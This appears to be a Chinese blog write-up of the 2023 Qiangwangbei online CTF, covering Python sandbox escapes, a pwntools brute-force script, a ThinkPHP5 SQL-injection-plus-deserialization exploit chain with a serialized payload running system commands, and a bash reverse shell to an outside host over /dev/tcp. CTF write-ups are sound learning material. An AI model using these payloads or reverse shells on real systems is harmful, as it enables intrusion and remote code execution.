2023强网杯线上赛 | 风尘孤狼

风尘孤狼

知识型学习记录

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2023强网杯线上赛

发表于 分类于 ， 阅读次数： Valine：
本文字数： 7.3k 阅读时长 ≈ 7 分钟
image-20231217212401855

前言

师傅们太强了，第十，浅浅记录一下自己写出来的和比赛过程中学到的题目吧

722a9f6e35eb17ca388b8993084417cd

MISC

签到

flag{welcome_to_qwb_2023}

Pyjail ! It’s myFILTER !!!

Python沙箱逃逸

闭合之后open直接读environ得到flag

ezEzMjEyfScrKHByaW50KG9wZW4oJy9wcm9jLzEvZW52aXJvbicpLnJlYWQoKSkpKyc=
base64解码之后是传的内容，博客直接传会报错，所以编码了一下
image-20231217212801543

flag{61e81b4f-566c-49f5-84dd-d79319fddc82}

Pyjail ! It’s myRevenge !!!

Python沙箱逃逸

用write写文件import os;os.system(“nl fl* >hzy”)执行之后再用read读取执行内容得到flag

过滤字符全用八进制绕过，分段写

ezEzMjEyfScrKG9wZW4oJ3dzeScsICJhIikud3JpdGUoJ1wxNTFcMTU1XDE2MFwxNTdcMTYyJykpKycKCnsxMzIxMn0nKyhvcGVuKCd3c3knLCAiYSIpLndyaXRlKCd0IFwxNTcnKSkrJwoKezEzMjEyfScrKG9wZW4oJ3dzeScsICJhIikud3JpdGUoJ1wxNjM7XDE1NycpKSsnCgp7MTMyMTJ9Jysob3Blbignd3N5JywgImEiKS53cml0ZSgnXDE2My4nKSkrJwoKezEzMjEyfScrKG9wZW4oJ3dzeScsICJhIikud3JpdGUoJ1wxNjN5JykpKycKCnsxMzIxMn0nKyhvcGVuKCd3c3knLCAiYSIpLndyaXRlKCdzdCcpKSsnCgp7MTMyMTJ9Jysob3Blbignd3N5JywgImEiKS53cml0ZSgnZW0oIm5sIFwxNDYqPmh6eSIpJykpKycKCnsxMzIxMn0nK29wZW4oJ1wxNDNcMTU3ZGUucHknLCd3Jykud3JpdGUob3Blbignd3N5JykucmVhZCgpKSsnCgp7MTMyMTJ9JysocHJpbnQob3BlbignaHp5JykucmVhZCgpKSkrJw==
base64解码之后是传的内容，博客直接传会报错，所以编码了一下
image-20231217212850622

flag{8f0a4ac2-52d3-4adb-a1a3-47e05997817d}

easyfuzz

交互

image-20231217214839267

写个pwotools交互爆破一下会发现正确的字符串和每个0的位置是对应的

000000000
哪个位置对，哪个位置就会变成1，所以就去爆破测试，即可得到最终的正确的字符串
from pwn import *

def try_payloads():
    r = remote('101.200.122.251', 12199)  

 
    prefix = "ad"

 
    known_seventh_eighth = "wbGood"


    remaining_length = 5

    for char1 in string.ascii_letters + string.digits + "_-./":
        #for char2 in string.ascii_letters + string.digits + "_-./":
            #for char3 in string.ascii_letters + string.digits + "_-./":
                #for char4 in string.ascii_letters + string.digits + "_-./":
                        test_payload = prefix + char1   + known_seventh_eighth 
                        r.recvuntil("Enter a string (should be less than 10 bytes): ")
                        r.sendline(test_payload)

                        result = r.recvline().decode().strip()
                        coverage_count = result.count('1')
                        print(f"Payload: {test_payload}, Code Coverage: {result}, 1s Covered: {coverage_count}")

                        if coverage_count == 9: 
                            print(f"Found solution: {test_payload}")
                            r.close()
                            return

    r.close()
    print("N")

if __name__ == "__main__":
    try_payloads()

最终得到正确的字符串为adqwbGood

image-20231217215259864

qwb{YouKnowHowToFuzz!}

Happy Chess

群师傅发现的非预期

每次随便输九次然后exit，一直十轮就会出flag

image-20231217215809087

flag{4224098bfcfeaafaa0ef7d089374544f}

WEB

Thinkshop

附件在本地起docker可以得到源码，审计发现admin路由

后台路径 /public/index.php/index/admin/login.html

1/123456登陆后台

image-20231217212933525 image-20231217212945834

审计发现在保存操作调用save->updatedata

在updatedata存在SQL注入，$key相当于是$data中的一个键值。

image-20231217213013325

在保存商品时会调用saveGoods数据进行序列化之后保存到数据库

image-20231217213027118

在编辑页面可以看到数据抽取时会进行反序列化操作

image-20231217213046801

利用SQL注入修改data数据的值，本题data是数组，且会插入数据库，最终的payload需要改一下让前后闭合，且TP5，在网上找一个链子的EXP改一下

https://www.freebuf.com/vuls/317886.html

<?php
namespace think\process\pipes{
    use think\model\Pivot;
    ini_set('display_errors',1);
    class Windows{
        private $files = [];
        public function __construct($function,$parameter)
        {
            $this->files = [new Pivot($function,$parameter)];
        }
    }
    $aaa = new Windows('system','nl /f*');
    echo base64_encode(serialize(array($aaa)));
}
namespace think{
    abstract class Model
    {}
}
namespace think\model{
    use think\Model;
    use think\console\Output;
    class Pivot extends Model
    {
        protected $append = [];
        protected $error;
        public $parent;
        public function __construct($function,$parameter)
        {
            $this->append['jelly'] = 'getError';
            $this->error = new relation\BelongsTo($function,$parameter);
            $this->parent = new Output($function,$parameter);
        }
    }
    abstract class Relation
    {}
}
namespace think\model\relation{
    use think\db\Query;
    use think\model\Relation;
    abstract class OneToOne extends Relation
    {}
    class BelongsTo extends OneToOne
    {
        protected $selfRelation;
        protected $query;
        protected $bindAttr = [];
        public function __construct($function,$parameter)
        {
            $this->selfRelation = false;
            $this->query = new Query($function,$parameter);
            $this->bindAttr = [''];
        }
    }
}
namespace think\db{
    use think\console\Output;
    class Query
    {
        protected $model;
        public function __construct($function,$parameter)
        {
            $this->model = new Output($function,$parameter);
        }
    }
}
namespace think\console{
    use think\session\driver\Memcache;
    class Output
    {
        protected $styles = [];
        private $handle;
        public function __construct($function,$parameter)
        {
            $this->styles = ['getAttr'];
            $this->handle = new Memcache($function,$parameter);
        }
    }
}
namespace think\session\driver{
    use think\cache\driver\Memcached;
    class Memcache
    {
        protected $handler = null;
        protected $config  = [
            'expire'       => '',
            'session_name' => '',
        ];
        public function __construct($function,$parameter)
        {
            $this->handler = new Memcached($function,$parameter);
        }
    }
}
namespace think\cache\driver{
    use think\Request;
    class Memcached
    {
        protected $handler;
        protected $options = [];
        protected $tag;
        public function __construct($function,$parameter)
        {
            // pop链中需要prefix存在，否则报错
            $this->options = ['prefix'   => 'jelly/'];
            $this->tag = true;
            $this->handler = new Request($function,$parameter);
        }
    }
}
namespace think{
    class Request
    {
        protected $get     = [];
        protected $filter;
        public function __construct($function,$parameter)
        {
            $this->filter = $function;
            $this->get = ["jelly"=>$parameter];
        }
    }
}
//YToxOntpOjA7TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJqZWxseSI7czo4OiJnZXRFcnJvciI7fXM6ODoiACoAZXJyb3IiO086MzA6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEJlbG9uZ3NUbyI6Mzp7czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoibmwgL2YqIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX1zOjExOiIAKgBiaW5kQXR0ciI7YToxOntpOjA7czowOiIiO319czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoibmwgL2YqIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX19fX0

在编辑页面修改抓包

image-20231217213133380

放包

image-20231217213155817

再次访问该商品即可得到flag

image-20231217213212959

flag{c7c7e293-d532-496b-b414-c28bb3fe9aa7}

happygame

是nc地址，交互一下发现报错

image-20231217213546872

查询一下资料发现是需要用grocui去连接

grpcui.exe -plaintext 8.147.128.227:44635
image-20231217213708564

然后Reques Data处用CC3链子直接反弹shell即可

这里用到yakit，里面自带CC链子利用，很方便

image-20231217213950828 
bash -i >& /dev/tcp/47.xxx.xxx.17/9998 0>&1
bash -c {echo,base64反弹命令}|{base64,-d}|{bash,-i}

成功反弹shell得到flag

image-20231217214654620

flag{8955c081-2e5f-4701-82c9-f3f070119155}

完整WP

其他题解WP请看战队公众号文章

https://mp.weixin.qq.com/s/ksGjGGeYjvWpgmRA5xyBpg

制作不易，如若感觉写的不错，欢迎打赏